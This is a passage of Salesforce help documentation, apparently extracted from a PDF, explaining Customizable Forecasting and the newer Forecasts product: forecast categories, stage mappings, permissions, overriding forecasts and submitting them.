items your organization can sell. You can set up customizable forecasting to reflect how your organization forecasts its sales.
With it, you can forecast on a monthly or quarterly basis, use different dates when applying amounts to forecasts, forecast
based on revenue or quantity or both, and define additional quotas based on product families.
Use customizable forecasts to review your forecast and drill down through your forecast amounts to see the opportunities
included in your forecast. Override forecast amounts directly from the opportunity, or override the forecast from the Forecasts
tab without notifying users below you in the forecast role hierarchy.
For information on implementing customizable forecasting for your organization, see Setting Up Customizable Forecasting.

See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Managing Customizable Forecasts
Viewing Customizable Forecasts
Do I Have Customizable Forecasting?

2501

Customizable Forecasts

Working with Forecast Categories

Do I Have Customizable Forecasting?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Customizable forecasting may be difficult to distinguish because the tab name does not change when you convert to customizable
forecasting. Here's how to tell if you have it:
Click the Forecasts tab.

If you see either the Introducing Customizable Forecasting or Request Now! buttons, you don't have customizable
forecasting.
If you don't see either button, your organization already has customizable forecasting.

To enable customizable forecasting:


1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Forecasts Hierarchy > Enable Customizable
Forecasting.
2. Once customizable forecasting is enabled, see Setting Up Customizable Forecasting.

See Also:
Customizable Forecasting Overview
Customizable Forecasting Home
Managing Customizable Forecasts
Submitting Customizable Forecasts
Forecast Override Indicators
Overriding Customizable Forecasts

Working with Forecast Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Your forecast is a representation of your opportunity amounts, dates, and stages. Click the Forecasts tab and notice that your
forecast amounts are listed in different categories. Depending on its stage, an opportunity amount can be included in the
following forecast categories:

Best Case includes amounts you are likely to close, closed/won opportunity amounts, and amounts in the Commit category.
Closed includes amounts for closed/won opportunities.

2502

Customizable Forecasts

Working with Forecast Categories

Commit includes amounts you are confident about closing and closed/won opportunity amounts.
Omitted means the amount does not contribute to your forecast.
Pipeline includes amounts from all open opportunities.
Note: You can edit the forecast category field on opportunities to change the value displayed in reports, opportunity
detail and edit pages, opportunity searches, and opportunity list views. For example, you can change the value of the
Commit category to Won to make the category name match your business processes.

Each value in the opportunity Stage picklist is automatically mapped to a Probability and value in the Forecast
Category picklist. Change the Stage of an opportunity and the Probability as well as the Forecast Category changes
with it.
For example, your organization may have mapped the Negotiation/Review stage to the Best Case forecast category. This
means that the amounts of your opportunities in Negotiation/Review are included in your Best Case forecast amount.
Your organization may have set up different mappings but an example of how these fields map is below:
Stage

Probability

Forecast Category

Prospecting

10%

Pipeline

Qualification

10%

Pipeline

Needs Analysis

20%

Pipeline

Value Proposition

50%

Pipeline

Id Decision Makers

60%

Pipeline

Perception Analysis

70%

Pipeline

Proposal/Price Quote

75%

Pipeline

Negotiation/Review

90%

Best Case

Closed Won

100%

Commit

Regardless of whether you use customizable forecasting or not, your forecasts still rely on how your opportunity Stage picklist
values map to values in the Forecast Category picklist.

See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Managing Customizable Forecasts
Viewing Customizable Forecasts

2503

Customizable Forecasts

Customizable Forecasting Home

Customizable Forecasting Home


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To see forecasts of other users:

View All Forecasts

To override your forecast:

Override Forecasts

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Clicking the Forecasts tab displays your forecast for the selected forecast period.

Click Submit to submit a forecast, making a snapshot of the forecast data available in the forecast history and forecast
reports. See Submitting Customizable Forecasts.
Click Forecast History to display the forecast data you submitted in the past. Then, click Forecast Summary to return
to the current forecast data.
Click Printable View to display the selected forecast in a simple, print-ready layout.
Review your forecast and the forecasts of any direct reports or forecasts that are manually shared with you. See Viewing
Customizable Forecasts for instructions on different viewing options.
Click the Forecast subtab to see forecast details. See Viewing Customizable Forecasts for more information.
Click the Opportunities subtab to see the opportunities that are included in the displayed forecast. On the Opportunities
subtab, you can choose, or create, a list view to further filter the displayed opportunities. See Viewing Customizable
Forecasts for more information.
Click the edit icon ( ) to make changes to the adjusted forecast total, or to add an override to a particular forecast amount.
For instructions on overriding forecast amounts, see Overriding Customizable Forecasts.

If your forecast is not available, contact your administrator about adding you to the forecast hierarchy (or the territory hierarchy,
if your organization uses territory management). If you use report builder, note that it doesnt support Customizable Forecasts.
Note: The Forecasts tab is unlike other tabs in that it automatically calculates data for you based on your opportunity
data. You do not need to create or delete forecast records.

See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Managing Customizable Forecasts
Viewing Customizable Forecasts

2504

Customizable Forecasts

Managing Customizable Forecasts

Managing Customizable Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To see forecasts of other users:

View All Forecasts

To override your forecast:

Override Forecasts

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Your forecasts represent your opportunity amounts, dates, and stages. To make sure your forecasts are an accurate representation
of your revenue potential:
1. Review your forecast amounts. See Viewing Customizable Forecasts for instructions on different viewing options.
2. Determine if you want to override any amounts.
3. Override amounts if necessary. This requires the appropriate user permission. See Overriding Customizable Forecasts on
page 2508.
4. Submit your forecast to make a snapshot of your forecast data available in your forecast history and forecast reports. See
Submitting Customizable Forecasts.

See Also:
Customizable Forecasting Overview
Working with Forecast Categories
Customizable Forecasting Home
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Viewing Customizable Forecasts
Submitting Customizable Forecasts

2505

Customizable Forecasts

Viewing Customizable Forecasts

Viewing Customizable Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To see forecasts of other users:

View All Forecasts

To override your forecast:

Override Forecasts

Note: This information applies to Customizable Forecasting and not to other forecasting products.

When you click the Forecasts tab, review the amounts listed and determine if they are ready to be submitted.

Initially, your name appears in the title bar and above Find a Forecast:, indicating that you are viewing your own
forecast. Users with the appropriate permissions can click the magnifying glass icon and select another user or role to view
that persons forecast. When you are viewing a forecast other than your own, the role or username will be displayed in the
title bar and above Find a Forecast:. In addition, your access level will be displayed above Find a Forecast:.
If you organization uses manual forecast sharing, click Sharing to view the forecast sharing settings or to share the forecast
with other users.
If your organization uses territories, choose an option from the Territory picklist to summarize the forecast by that
territory. See Territory Management Overview.
If your organization uses product families, choose an option from the Product Family picklist to summarize the forecast
by that product family. Choosing --All-- product families disables the Submit, and Forecast History options; choose
another product family to use these options. See Defining Customizable Forecast Settings for information on customizing
your organization to use product families.
If your organization forecasts on both revenue and quantity, select whether to include revenue, quantity, or revenue and
quantity. This controls which information is displayed for each amount listed.
Select a date range under Range Start to view another forecast period. Forecast details for opportunities that closed
more than two years before you implemented customizable forecasting or more than 10 years in the future are not available.
For information on opportunities outside of this time range, see Opportunity Reports.
Note: Organizations that implemented customizable forecasting prior to the Salesforce Winter '07 release can see
forecasts outside of this range.

Select a Range Length to view fewer or more forecast periods.


Note: If you are using custom fiscal years, periods before the first defined custom fiscal year or after the last defined
fiscal year use calendar months or calendar quarters (depending on your forecast setting) for the range start and
period length.

Select an option next to Display Units to view forecast totals using a different unit of measurement. To display what
portion each total is of your quota, choose % Quota.

2506

Customizable Forecasts

Viewing Customizable Forecasts

Viewing Forecast History


When viewing a forecast from the Forecasts tab, click Forecast History to view snapshots of your forecast data taken when
you submit it. You can also view the submitted forecasts of subordinates users. Click Forecast Summary to return to the
previous view.

Viewing Forecast Amount Details


Select the Forecasts subtab to see forecast details. Click any forecast amount to view details of the opportunity amounts included
in that forecast amount. From the details page, click any item listed to view it. Click Edit to override that item. See Overriding
Customizable Forecasts for instructions on overriding forecast amounts from the opportunity.
If you have direct reports (users that report directly to you), their forecasts display below yours. The Choose a view option
allows you to change the way forecast information is displayed for your direct reports. Use this option to group forecast data
by subordinate or forecast period.

View by Period displays a list of direct reports and their forecasts for each forecast period. Click any name to view the
forecast for that user.
View by Direct Report displays a list of forecast totals for each direct report. Click View next to any subordinate name to
view the forecast for that user.
Clicking any amount displays the opportunities and forecast overrides included in that amount.

Viewing Opportunities
Select the Opportunities subtab to see the opportunities that are included in the displayed forecast. On the Opportunities
subtab, you can choose, or create, a list view to further filter the displayed opportunities. Click any opportunity to see the
opportunity details. To override the opportunity, click Edit. For more information on overriding opportunities, see Overriding
Customizable Forecasts.
Note: When a partner portal is transferred to another account, the opportunities on each account are automatically
recalculated through your organization's forecast hierarchy.

See Also:
Customizable Forecasting Overview
Working with Forecast Categories
Customizable Forecasting Home
Managing Customizable Forecasts
Submitting Customizable Forecasts

2507

Customizable Forecasts

Overriding Customizable Forecasts

Overriding Customizable Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To see forecasts of other users:

View All Forecasts

To override your forecast:

Override Forecasts

Note: This information applies to Customizable Forecasting and not to other forecasting products.

You can make your forecast a more accurate assessment of your forecasted sales by overriding forecast amounts as needed. Any
user can override a forecast from the opportunity by changing the Stage or Forecast Category of the opportunity. Users
with the Override Forecasts permission can override their forecast or any direct reports forecast at the forecast level.

Overriding Your Forecast from the Opportunity


1.
2.
3.
4.

Click the Opportunities subtab on the Forecasts page.


Click Edit for the opportunity you want to override.
Make any changes to the details. The options available differ depending on whether you own the opportunity.
If products are on the opportunity and you want to change the forecast category for that product, select Change Category,
then select the appropriate Product Forecast Category.
5. Click Save. The opportunity is marked with the appropriate icon indicating its override status. For a description of each
override icon, see Forecast Override Indicators.
Click Save & Refresh to update the record and redisplay the totals.

Overriding Your Forecast Total


1. Click the Forecasts subtab on the Forecasts page.
2. Click the edit icon (
) to override the adjusted total.
3. Enter a new amount and any comment.
4. Click Save. The forecast is marked with the appropriate icon indicating its override status. For a description of each override
icon, see Forecast Override Indicators.

Overriding the Forecast of Your Direct Reports


1. Click the Forecasts subtab on the Forecasts page.
2. Click the edit icon (
) to override your direct report's forecast.
3. Choose one of the override options to control which override amounts, if any, are included in the forecast:

Accept John Does forecastUse this option to accept the forecast of your direct report, including any overrides that
he or she has made.
Reject any override on John Does forecast, but accept forecast overrides from other subordinatesUse this option
to ignore overrides made on your direct report's forecast, but include any overrides made on forecasts further down in
the hierarchy.

2508

Customizable Forecasts

Overriding Customizable Forecasts

Reject all forecast overridesUse this option to ignore all forecast-level overrides but include opportunity-level
overrides. If you have overridden amounts at the opportunity, your own opportunity forecasts are used in this calculation.
Choose this option if you want forecast amounts to be based on opportunity amounts including overrides made at the
opportunity level.
Override the forecast and set it toUse this option to enter an amount that replaces the current amount in your
forecast. Your manager will see this amount in your forecast but your subordinates will not.

4. If you forecast on both revenue and quantity, choose an override option for quantity forecast.
5. Click Save. The forecast is marked with the appropriate icon indicating its override status. For a description of each override
icon, see Forecast Override Indicators.
Note: The Forecasts tab is unlike other tabs in that it automatically calculates data for you based on your opportunity
data. You do not need to create or delete forecast records.

See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Forecast Override Indicators

Forecast Override Indicators


Note: This information applies to Customizable Forecasting and not to other forecasting products.

An icon displays for each override to indicate the status of the override. Use the following table to determine the status of an
override.
Icon

Override Status
The opportunity has been updated since an override.
A subordinate has overridden the forecast.
A person that reports directly to you has overridden the
forecast.
You have overridden the forecast.

2509

Customizable Forecasts

Icon

Customizable Forecast Fields

Override Status
The forecast data is not up-to-date. Refresh your browser in
a few minutes.

See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Overriding Customizable Forecasts

Customizable Forecast Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Here is a description of the fields (in alphabetical order) that make up a forecast in customizable forecasting:

Forecast Fields
Field

Description

Comments

The comments you enter when overriding your forecast.

Forecast Category

Category determined by the opportunity Stage value. Options


are:
Omitted means the amount does not contribute to your
forecast.
Pipeline includes amounts from all open opportunities.
Best Case includes amounts you are likely to close,
closed/won opportunity amounts, and amounts in the
Commit category.
Commit includes amounts you are confident about closing
and closed/won opportunity amounts.
Closed includes amounts for closed/won opportunities.

Forecast Item

Record that contributes to the forecast. This displays in the


detail of a forecast amount.

Revenue

The total expected revenue amount from the opportunities


that fit in a given category.

2510

Customizable Forecasts

Submitting Customizable Forecasts

Field

Description

Quantity

The total number of units that are forecasted to sell as part of


the opportunities in a given category.

My Forecast Override

The amount you enter when overriding a forecast amount.

Submitted By

The user who submitted a forecast.

Type

Type of override. Options are Opportunity or Forecast


Override.

Opportunity Forecast Fields


Opportunity Forecast Field

Description

My Forecast Amount

The amount you enter when overriding your direct reports


opportunity amount.

My Forecast Category

The category selected when you override the category of an


opportunity.

My Forecast Comments

The comments you enter when overriding one of your


opportunities or the opportunity of a direct report.

My Forecast Period

The period you selected when overriding a direct reports


opportunity period.

Submitting Customizable Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To see forecasts of other users:

View All Forecasts

To override your forecast:

Override Forecasts

Note: This information applies to Customizable Forecasting and not to other forecasting products.

On the Forecasts tab, your forecast totals are always available to you and users above you in your role hierarchy. However,
forecast totals are only available in forecast history and reports after you submit them. You can submit your own forecast or
any forecast data that has been manually shared with you and you have permission to submit.
To submit your forecast:
1. Click Submit from your forecast on the Forecasts tab.

2511

Forecasts

Forecasts Overview

2. Click OK to confirm. Salesforce takes a snapshot of your forecast totals and makes them available in reports and your
forecast history.

See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Managing Customizable Forecasts
Viewing Customizable Forecasts

FORECASTS
Forecasts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
Predict and plan your sales cycle from pipeline to closed sales, and manage sales expectations throughout your organization
with Forecasts. A forecast is an expression of expected sales revenue based on the gross rollup of a set of opportunities. Forecasts
include adjustments made by forecast users to their subordinates' forecasts as well as adjustments made by these subordinates
on the forecasts of the users below them in the forecast hierarchy. Forecasts are organized by forecast category and period in
the rollup table on the forecasts page. Here, users can view forecasts and related opportunities by forecast category for just one
person or everyone below them in the forecast hierarchy. For example, they can see the July Best Case forecast for all the sales
managers who report to them, all the sales reps who report to any one of their managers, or just one individual. With forecasts,
you have the flexibility to perform many tasks. Forecasts include:

Interactive, expandable tables that let users select and view their own forecasts and those of their subordinates.
Forecast summary information for single months and a multi-month range, for each forecast category.
A list of related opportunities that updates dynamically according to the forecast selection.
Access to related details, including who made adjustments and original forecast amounts, and the ability to adjust these
details.
Access to opportunity records directly from the forecasts page.
A convenient method for forecasts managers to move up and down through the forecasts hierarchy.
Support for multiple currencies.
Quota information available on each users forecast page.

The feature works with the forecasts hierarchy. Users can view the forecasts and related opportunities of their subordinates at
all levels of the hierarchy, and adjust the forecasts of subordinates one level beneath them. The user interface makes it simple
to conduct status calls with a sales team because users can move around it with ease. If an organization is set up for multicurrency,

2512

Forecasts

Understanding the Elements of a Forecast

users can view forecasts in any active currency. Forecasts use an organization's corporate currency by default, but users can
select a display currency from any of the organization's active currencies.

See Also:
Setting Up Forecasts
Working With Forecasts
Forecasts Hierarchy Overview
Viewing Opportunity Details from a Forecast
What's the difference between the Forecasting features?

Understanding the Elements of a Forecast


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
The Forecasts feature is designed to help you easily find and communicate opportunity and forecast information. This table
explains what a forecast is and defines the elements that affect and contribute to a forecast.
Concept

Definition

Adjustment

A layer of detail you can add to a forecast.


An adjustment shows a forecasts managers judgment about
the final amount she or he expects the forecast's opportunities
to bring in at the close of the forecast period. Forecasts
managers can adjust forecasts that include gross opportunity
amounts only and also adjust forecasts that have already been
adjusted by someone else in their sales team. Remember that
an adjustment doesn't change the underlying gross rollupit
just adds a layer of detail. Forecasts managers can view
adjustments subordinates make at every level of the forecast
hierarchy. They can adjust the forecasts of subordinates one
level beneath them in the forecast hierarchy for the Commit
and Best Case categories. Forecasts managers can't adju

You might also like